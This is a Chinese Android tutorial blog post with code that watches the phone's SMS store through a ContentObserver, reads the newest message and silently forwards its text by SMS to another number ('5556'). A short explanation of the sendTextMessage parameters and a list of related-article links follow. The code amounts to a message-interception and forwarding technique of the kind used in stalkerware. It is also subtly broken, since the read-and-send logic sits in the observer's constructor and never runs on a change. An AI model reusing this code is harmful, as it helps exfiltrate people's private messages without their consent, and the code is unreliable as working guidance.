Android 监听短信内容变化,并发送到自己的手机
说明:主要用到了getContentResolver的内容监听
public class ContentObserverActivity extends BaseActivity { private Uri uri; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_observer); } /** * 拦截短信 * @param view */ public void cutSms(View view){ uri = Uri.parse("content://sms"); getContentResolver().registerContentObserver(uri, true, new MyContentObserver(new Handler())); } private class MyContentObserver extends ContentObserver{ public MyContentObserver(Handler handler) { super(handler); show("短信变动了"); //查询最后一条短信 Cursor cursor = getContentResolver().query(uri, null, null, null, null); cursor.moveToLast(); String body = cursor.getString(cursor.getColumnIndex("body")); SmsManager sm = SmsManager.getDefault(); ArrayList<String> list = sm.divideMessage(body); for (String msg : list) { sm.sendTextMessage("5556", null, msg, null, null); } } } public void show(String text){ Toast.makeText(this, text, Toast.LENGTH_LONG).show(); }}
关于public void sendTextMessage (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)说明
Parameters
destinationAddress 发送短信的地址(也就是号码)
scAddress 短信服务中心,如果为null,就是用当前默认的短信服务中心
text 短信内容
sentIntent 如果不为null,当短信发送成功或者失败时,这个PendingIntent会被广播出去成功的结果代码是Activity.RESULT_OK,或者下面这些错误之一 :RESULT_ERROR_GENERIC_FAILURE
RESULT_ERROR_RADIO_OFF
RESULT_ERROR_NULL_PDU
对于 RESULT_ERROR_GENERIC_FAILURE, the这个sentIntent可能包括额外的”errorCode”,包含一些具体有用的信息帮助检查 。基于SMS控制的全部程序检查 sentIntent. 如果 sentIntent 为空,the caller will be checked against all unknown applications, which cause smaller number of SMS to be sent in checking period.
deliveryIntent 如果不为null,当这个短信发送到接收者那里,这个PendtingIntent会被广播,状态报告生成的pdu(指对等层次之间传递的数据单位)会拓展到数据(”pdu”)
更多相关文章
- Android之短信监听与内容获取
- Android demo之发送短信
- Android更新页面上的数据的常见三种方法
- android实现发送短信并保存到数据库,同时可以获得发送报告和接收
- Android批量插入数据到SQLite数据库
- Android 清除数据
- Android 中关于 【Cursor】 类的介绍、数据库和设计模式
- Android短信发送功能
- android中向通过contentProvider向数据库中插入数据的实现